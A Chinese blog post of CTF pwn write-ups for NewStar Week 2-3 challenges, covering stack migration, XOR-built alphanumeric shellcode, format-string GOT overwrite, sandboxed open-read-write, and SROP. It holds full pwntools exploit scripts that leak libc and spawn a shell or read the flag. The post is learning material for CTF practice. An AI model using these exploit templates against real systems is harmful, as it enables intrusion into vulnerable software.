首页 > 其他分享 >NewStar Week2-3部分pwn wp

NewStar Week2-3部分pwn wp

时间:2024-03-06 11:15:27浏览次数:19  
标签:p64 puts libc NewStar bss pwn Week2 payload addr

stack_migration

checksec

image
开启了NX保护,但是没有PIE和Canary

代码审计

image
可以看到有两个read和一个printf。第一个read没什么用我们看第二个。因为v2距离rbp有0x50个字节,而read只能读入0x60个字节,意味着我们剩余的字节数只有0x10,没法构造完整的ROP链,那么我们就只能利用栈迁移来变相增加read的长度,在栈上布置ROP链执行。根据printf遇到\x00截断,我们可以带出栈地址,然后在其上布置恶意ROP链即可

做题过程

先泄露出栈地址,用于计算第二次read输入位置
image
这便是buf的地址,在IDA里我们也可以看到buf和v2的相对距离为0x08,所以我们在接收的stack基础上+8便是第二次read的地址
当执行两次leave,ret后,RSP会在stack+8的基础上再抬高八位,所以我们需要在最开始在payload的最开始再填上八位垃圾数据,然后就可以构造ROP链了

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28902)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
rdi_ret = 0x401333
ret_addr = 0x40101a
leave_ret = 0x4012AA
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4011FB
p.recvuntil('name:\n')
p.send(b'a' * 0x08)
p.recvuntil('you: ')
stack = int(p.recv(14),16) + 8
print(hex(stack))
payload_first = b'a' * 0x08 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload_first = payload_first.ljust(0x50,b'\x00')
payload_first += p64(stack) + p64(leave_ret)
p.sendafter('plz:\n',payload_first)
p.recvuntil('soon!\n')
puts_real_addr=u64(p.recvuntil(b'\x7f')[:6].ljust(8,b'\x00'))
print(hex(puts_real_addr))
#gdb.attach(p)
libc_base = puts_real_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
p.recvuntil('name:\n')
p.send(b'a' * 0x08)
p.recvuntil('you: ')
stack_again = int(p.recv(14),16) + 8
payload_second = b'a' * 0x08 + p64(ret_addr) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload_second = payload_second.ljust(0x50,b'\x00')
payload_second += p64(stack_again) + p64(leave_ret)
p.send(payload_second)
p.interactive()

PS:不要傻傻的用sendline,要用也是要计算好偏移,不然会像我最开始一样死活打不通,原因就是RBP被\n给覆盖错位置导致布栈失败了

感想

我从未如此透彻的明白栈迁移原理,NewStar的题出的好哇!太喜欢了

shellcode_revenage

小白写这道题前必看

b站视频BV1Z14y1B7ji,讲这种类似的题讲的算是很细致了,人家甚至还动调给你,免去了我们大部分无头苍蝇乱撞时间,给大佬磕一个

checksec

image
Canary和NX,老三样,还好没有PIE

源审

image
很明显的ret2shellcode,但是它限制了输入,只允许输入1-9和A-Z,意味着我们得自己手搓shellcode,或者想办法绕过这些限制。像咱这种没学过汇编的就只能想着绕过啦

做题过程

看了别人的wp才知道用xor,虽然咱没学过这个,也只能硬着头皮学下去了。大概思路就是通过xor绕过限制,构造出syscall来调用read,这样的read没有限制,可以直接用pwntools的shellcraft模块快速构造shellcode
首先爆破出一些可以用的汇编代码,用于爆破的代码如下

from pwn import *
context(arch='amd64',os='linux')
a = '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i1 in a:
    for i2 in a:
        for i3 in a:
            src = f'{i1}{i2}{i3}'
            print(disasm(src.encode()))

这玩意要爆破好久,足足花了我半个多小时才把汇编表导出来,足足10w行...
然后从表里提取出我们需要用的xor
image
把里边的xor eax, DWORD PTR[rdx + xx]xor DWORD PTR[rdx + xx], eax给提取出来用。至于为什么提取的都是rax其实咱也不是很清楚,大抵是因为像这种直接执行某地址的汇编都跟call rax有关罢。
因为我们没法用小写字母,所以我们可以考虑xor先加密再解密,弄出syscall的汇编码
先看看syscall的汇编码
image
可以看到是0xf 0x5,然后根据这个进行异或得到加密码
异或源码

a = b'123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in a:
    print(hex(i),chr(i^0xf),chr(i^0x5))

然后我们可以得到它的异或表
image
从中选一个与0xf和0x5异或均为字母或数字的就好,这里我跟官方选一样的ASCII码值0x41
根据这些我们可以先把汇编码写出来

payload =  '''
xor eax, DWORD PTR [rdx+0x38]   #将rdx+0x38的值赋给eax,相当于加密
xor DWORD PTR [rdx+0x30], eax   #eax和rdx进行xor,相当于解密成了0xf 0x5,调用了syscall
xor eax, DWORD PTR [rdx+0x38]   #清空eax,成0为标准输入
xor DWORD PTR [rdx+0x38], eax   #因为是三字节爆破,这里为了四字节对齐所以加了一行xor,要求不影响[rdx + 30],rsi,rdi,rax,rdx
'''
payload = asm(payload)
print(payload)

后面要填充到[rdx + 0x30]这个地方(这个地方已经成为了syscall),官方给的填充为

payload += b'\x59' * (0x30 - len(payload))

其实我不太懂为什么用\x59,而我想用视频里佬的那种用法,想两字节慢慢凑到[rdx + 0x30]却不行。官方只给出了个pop rcx这个解释,看不太懂和rcx有什么关系,不知道哪位佬能解释下,或者说我日后再看看
现在该往[rdx+0x30]里填充值了

payload += b'\x4e\x44' * 2 #\x4e^\x41 = 0xf,\x44^\x41 = 0x5,不过没懂为什么要乘2
payload += b'A' * 0x08 #ASCII的A字符在十六进制下为0x41

syscall调用出read后,因为read会从0x66660000开始读,所以要把[rdx + 30]之前的东西nop掉,只读取后面的shellcode

p.sendline(b'\x90' * len(payload) + asm(shellcraft.sh()))

至此就已经结束了,执行完后就可以得到shell了

payload

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p = remote('node5.buuoj.cn',25978)
payload =  '''
xor eax, DWORD PTR [rdx+0x38]
xor DWORD PTR [rdx+0x30], eax
xor eax, DWORD PTR [rdx+0x38]
xor DWORD PTR [rdx+0x38], eax
'''
payload = asm(payload)
print(payload)
payload += b'\x59' * (0x30 - len(payload))
payload += b'\x4e\x44' * 2
payload += b'A' * 0x08
p.sendlineafter('magic\n',payload)
pause()
p.sendline(b'\x90' * len(payload) + asm(shellcraft.sh()))
p.interactive()

感想

评价是,太讨厌!花了一个上下午了解这东西还是没完全弄明白,相当于只学习到了个大致模板该怎么写出来,估摸着真要有另一题的话该不会写还是不会写,so sad,所以哪位佬能帮我解惑解惑里边的疑问嘞,咱要被折磨死了(悲)
不过也不能说没有收获罢,解锁了新姿势,shellcode还能这样子写,好耶(平静脸)。以后写这种限制字符shellcode有思路嘞,虽然也还是不一定会写
另外,总感觉这种题就是凭感觉呢,一般好像也想不到xor * N这样换来换去

puts_or_system

checksec

image
Canary和NX,got表可写

see see your code

image
是不是很像之前的某道题呢?也就是个变种,一看就是考验got表改写,把puts的got表改写成system即可,这样调用puts("/bin/sh")实际上就是system("/bin/sh")

write!

nc爆破可控参数先
image
可以数出来可控参数偏移量为8,另外这道题Canary没用,不用去求取它的偏移量
接下来就是泄露puts的真实地址,在构造payload的时候要注意,因为这是x64,有效字节6字节,而高位的两字节全为0,printf在遇到\x00会截断,导致地址无法泄露,所以地址要放在后边,格式化字符串要放在前边,这个时候的%xc%y$hn就要根据题目来进行填补了,不过还好这一题比较简单

payload = b'%9$saaaa' + p64(puts_got) #补aaaa是为了对齐

这样就泄露好了puts的地址,接下来就根据提供的libc.so.6计算基地址从而获取system的地址就好,最后将system的地址改写到printf的got表就好
用pwntools里提供的fmtstr_payload模块会很快

payload = fmtstr_payload(8,{puts_got:system_addr})

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',27796)
elf = ELF('./putsorsys')
libc = ELF('./libc.so.6')
offset_controlled = 8
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
p.sendlineafter('(0/1)\n',b'1')
payload_puts = b'%9$saaaa' + p64(puts_got)
p.send(payload_puts)
p.recvuntil('gift:\n')
puts_real_addr = u64(p.recvuntil('\x7f')[:6].ljust(8,b'\x00'))
libc_base = puts_real_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
payload = fmtstr_payload(offset_controlled, {puts_got: system_addr})
p.sendlineafter('(0/1)\n',b'1')
p.sendlineafter('What\'s it\n',payload)
p.interactive()

感想

原本想写两个payload来着的,但是那种比较耗时间的我不太会,所以就先放弃嘞,以后有时间熟练了再补上来。栈上的x64格式化字符串漏洞got表改写喜欢捏,还好不是非栈上,不然会横死的(

orw&rop

checksec

image
Canary和堆栈不可执行

看看代码

image
开启了沙箱,并且有格式化字符串漏洞,先看看禁用了什么函数
image
可以看到是execve被禁用,没法直接通过shellcraft.sh()来获取shell,但是没有禁用open,read,write函数,因此我们可以利用orw来获取flag

做题

开启了Canary,所以我们可以通过printf把Canary给泄露出来,也可以再泄露一个栈地址来计算基质,先计算可控参数的偏移量
image
可以看到可控偏移量为6,那么再看看Canary位于栈的哪个位置
image
Canary的偏移量为11,如此,我们可以构造出泄露Canary和栈的payload了

payload_canary_puts = b'%11$p%8$saaaaaaa' + p64(puts_got) #补a是为了对齐
p.sendafter('sandbox\x',payload_canary_puts)
canary = int(p.recv(18),16)
puts_real_addr = u64(p.recvuntil('\x7f')[:6].ljust(8,'\x00'))
libc_base = puts_real_addr -libc.symbols['puts']

获取Canary和栈地址后,我们就可以构造ROP链了,调用read来进行再输入,执行orw

payload = b'a * 0x28 + p64(canary) + b'a * 8 + p64(ret_addr) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(shellcode_addr) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(read) + p64(shellcode_addr)
p.send(payload)
shellcode = shellcraft.open('./flag') + shellcraft.read(3,shellcode_addr + 0x100,0x100) + shellcraft.write(1,shellcode_addr + 0x100,0x100)
shellcode = asm(shellcode)
p.send(shellcode)
p.interactive

至此,便是关键步骤全部结束,可以写完整的payload了

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28518)
elf = ELF('./ezorw')
libc = ELF('./libc.so.6')
shellcode_addr = 0x66660000
offset_controlled = 6
offset_canary = 5 + 6
puts_got = elf.got['puts']
payload_canary_puts = b'%11$p%8$saaaaaaa' + p64(puts_got)
p.sendafter('sandbox\n',payload_canary_puts)
canary = int(p.recv(18),16)
puts_real_addr = u64(p.recvuntil('\x7f')[:6].ljust(8,b'\x00'))
libc_base = puts_real_addr - libc.symbols['puts']
ret = libc_base + 0x29cd6
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x90529
read = libc_base + libc.symbols['read']
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(shellcode_addr) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(read) + p64(shellcode_addr)
p.send(payload)
shellcode = shellcraft.open('./flag') + shellcraft.read(3,shellcode_addr + 0x100,0x100) + shellcraft.write(1,shellcode_addr + 0x100,0x100)
shellcode = asm(shellcode)
p.send(shellcode)
p.interactive()

感想

这是我第一次真正运用orw,感觉还不错,姿势解锁!

srop

checksec

image
NX保护开启,got表不可改写

code

image
第一个栈溢出过少,不足以构造rop链,而第二个syscall有超大量溢出,结合题目一眼SROP,看看有没有在代码里有其他提醒
image
嗯,找到了0xf,在系统调用号为syscall,那么就是SROP无疑,接下来就是套模板了

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28913)
elf = ELF('./srop')
syscall = elf.plt['syscall']
pop_rdi = 0x401203
bss = 0x404050 + 0x300
leave = 0x401171
frame = SigreturnFrame() #以下构造等同于syscall(59,bss,0,0)
frame.rdi = 59 #execve
frame.rsi = bss - 0x30 #leave rax, [rbp + var_30],加了30,所以要减30
frame.rdx = 0
frame.rcx = 0
frame.rsp = bss + 0x38 #设置栈顶,因为与返回地址距离0x38个字节
frame.rip = syscall
payload_migration = b'a' * 0x30 + flat(bss,leave) #迁移到bss
p.sendafter('srop',payload_migration)
sleep(0.3)
payload = b'/bin/sh\x00' + b'a' * 0x30 + flat(pop_rdi,0xf,syscall,frame) #往bss里输入bin/sh字符执行execve
p.sendline(payload)
p.interactive()

感想

讨厌SROP,理解SROP,感谢SROP

stack_migration_revenge

checksec

image
经典防护,还好没有开PIE

杀杀你的代码(恼)

image
一看就是溢出字节不够长,得进行栈迁移到bss区,甚至没有printf给我爆栈地址,还得我自己构造,你干的好啊revenge(咬牙切齿)
因为溢出字节不够长,我们得想办法多次调用read往bss构造恶意rop链,苦煞我也!
在这里边,我们有且能控制的寄存器只有rbp,只能寄希望于它完成各种挑战,先开辟一个bss区,往里边写入rop,但注意,我们在迁移到bss的时候应该迁移到的是bss+0x50,这是因为在调用read前,rbp会先[rbp+buf],而buf相对rbp的偏移为0x50,意味着会在低0x50字节处开始写入,为了正确写入到bss里,我们应该在bss+0x50
image

payload_migration_bss = b'a' * 0x50 + p64(bss + 0x50) + p64(leave_rax)
p.sendafter('me:\n',payload_migration_bss)

迁移完成后就可以构造rop链了,用于泄露栈地址,但记住此时还只是写入,而非迁移,最后还得再迁入bss-0x08(pop rbp本质上会抬高rsp八位)

p.recvuntil('funny\n')
payload_leak = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x800) + p64(leave_rax) #第二次迁移bss开大一些是因为这次有更多参数,为了防止覆盖got表或其它重要数据导致报错,所以要往大里开bss
payload_leak = payload_leak.ljust(0x50,b'\x00')
payload_leak += p64(bss - 0x08) + p64(leave)
p.send(payload_leak)
p.recvuntil('funny\n')
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) 
libc_base = puts_real_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

其实到这里就差不多了,把栈地址泄露出来后也就差不多结束了,再一次的调用read进行栈迁移即可

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',27909)
elf = ELF('./stack_migration_revenge')
libc = ELF('./libc.so.6')
leave = 0x401227
leave_rax = 0x4011FF
bss = 0x404020 + 0x300
pop_rdi = 0x4012b3
pop_rbp = 0x40115d
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
payload_migration_bss = b'a' * 0x50 + p64(bss + 0x50) + p64(leave_rax) #bss+50是因为leave_rax这里,因为[rbp+buf],而buf相对rbp为0x50,会往低0x50的地方写入数据,为了让它正确写入,应把bss抬高0x50字节,回来这也是为了调用read进行bss写入
p.sendafter('me:\n',payload_migration_bss)
p.recvuntil('funny\n')
payload_leak = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x800) + p64(leave_rax) #第二次迁移bss开大一些是因为这次有更多参数,为了防止覆盖got表或其它重要数据导致报错,所以要往大里开bss
payload_leak = payload_leak.ljust(0x50,b'\x00')
payload_leak += p64(bss - 0x08) + p64(leave) #这里栈迁移到bss - 0x08是因为pop rbp的时候将rsp抬高了8位,为了正确执行代码,应当迁移到这(因为之前是在bss写入的)
p.send(payload_leak)
p.recvuntil('funny\n')
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) 
libc_base = puts_real_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(0x50,b'\x00')
payload += p64(bss + 0x800 -0x58) + p64(leave) 
p.send(payload)
p.interactive()

碎碎念

你的revenge好啊!给你复仇成功了,真的让我好心痛好心痛啊!
这种多次栈迁移的题确实恶心,得多动动脑筋,不然真的很容易出错。不过这个题给我裨益很大!原来栈迁移在没有printf泄露栈地址的情况下还能这样构造rop链泄露栈地址,从而得到shell,pwn能力level up!
但我果然还是很讨厌你(悲),幸好你没开PIE,不然我可真要起杀心了(恼)

标签:p64,puts,libc,NewStar,bss,pwn,Week2,payload,addr
From: https://www.cnblogs.com/falling-dusk/p/18050329

相关文章

  • HNCTF 2022 WEEK2
    [HNCTF2022WEEK2]e@sy_flower发现花指令changetype90nop掉在主函数p重构,然后就可以反编译了编写脚本enc="c~scvdzKCEoDEZ[^roDICUMC"flag=[1]*24forjinrange(24):flag[j]=chr(ord(enc[j])^48)foriinrange(12):v5=flag[2*i+1]......
  • CTFshow pwn47-48
    CTFshowpwn47-48ret2libc的两道简单练习。还是很不熟练。pwn47已经给出了\bin\sh的字符串,还有输出了许多函数的地址,所以很容易拿到libc。frompwnimport*fromLibcSearcherimport*context(os='linux',arch='i386',log_level='debug')io=remote("pwn.challe......
  • 杂七杂八wp(NewStar_Week1和BeginCTF2024的部分pwn)
    碎碎念咱就一纯小白,以为带了Begin这一单词的CTF能对我仁慈一点,结果吧,太喜欢了,被狠狠拷打,从头自闭到尾,属于是从这次比赛又狠狠学习到不少知识了废话不多说,上正文嘞BeginCTFOne_bytechecksec嗯,基本啥都开了,喜欢捏。但是尊贵的CTFer,该“源审,启动!”了可以看到两个read,一个是......
  • [newstarctf2023] --RE wp
    AndroGenshin:rc4加密表,base64换表:脚本梭就行username=b"genshinimpact"base64_table=[125,239,101,151,77,163,163,110,58,230,186,206,84,84,189,193,30,63,104,178,130,211,        164,94,75,16,32,33,193,160,120,......
  • PWN工具使用
    pwn工具checksec--file=文件名gdbdyntext 查看手册r运行程序b下断点clear/delete/d+行号/*地址去除断点n步过s步入info 查看断点信息c 继续执行程序start 停在startp+指针 打印出指向的地址backtrace 查看函数调用栈的操作return 退出正在进行的......
  • NewStarCTF 2023 WEEK2|REVERSE SMC 使用IDApython静态解决SMC
    先来一篇IDApyhotn的指令教程https://www.cnblogs.com/zydt10/p/17676018.html*自己编的这题对应的expa=[0x11,0x22,0x33,0x44]foriinrange(38):result=a[i&3]ida_bytes.patch_byte(0x403040+i,get_wide_byte(0x403040+i)^result)在IDA中运行完exp之后,......
  • PWN学习之格式化字符串及CTF常见利用手法
    格式化字符串的基本漏洞点格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。格式化字符串漏洞通常发生在使用C或类似语言编写的程序中,其中 printf、sprintf、fprintf 等函数用于将数据格式化为字符串......
  • HGAME 2024 WEEK2 Crypto Misc
    CRYPTOmidRSA题目描述:兔兔梦到自己变成了帕鲁被crumbling抓去打黑工,醒来后连夜偷走了部分flagfromCrypto.Util.numberimport*fromsecretimportflagdefpadding(flag):returnflag+b'\xff'*(64-len(flag))flag=padding(flag)m=bytes_to_long(flag)p=getPrime......
  • 【pwn】ctfshow元旦水友赛--BadBoy
    首先先来看一下程序的保护情况这里got表可改,没有开地址随机接着看一下ida逻辑很直接,只有一个main函数,一点点分析这段代码buf[1]=__readfsqword(0x28u); init_func(argc,argv,envp); buf[0]='gfedcba'; v5=0LL; while((_DWORD)kl) {  puts("iamba......
  • [pwn]hgame2024 week1 WriteUp
    目录1.EzSignIn2.ezshellcode3.EldenRandomChallenge1.EzSignIn签到题,直接nc2.ezshellcodechecksec,保护全开64位程序丢IDA跟进一下myread函数可以看到会执行写入的内存,但有两个点一是长度限制,可以通过整型溢出绕过,二是myread函数会检查写入的内容,必须为字母或数字看......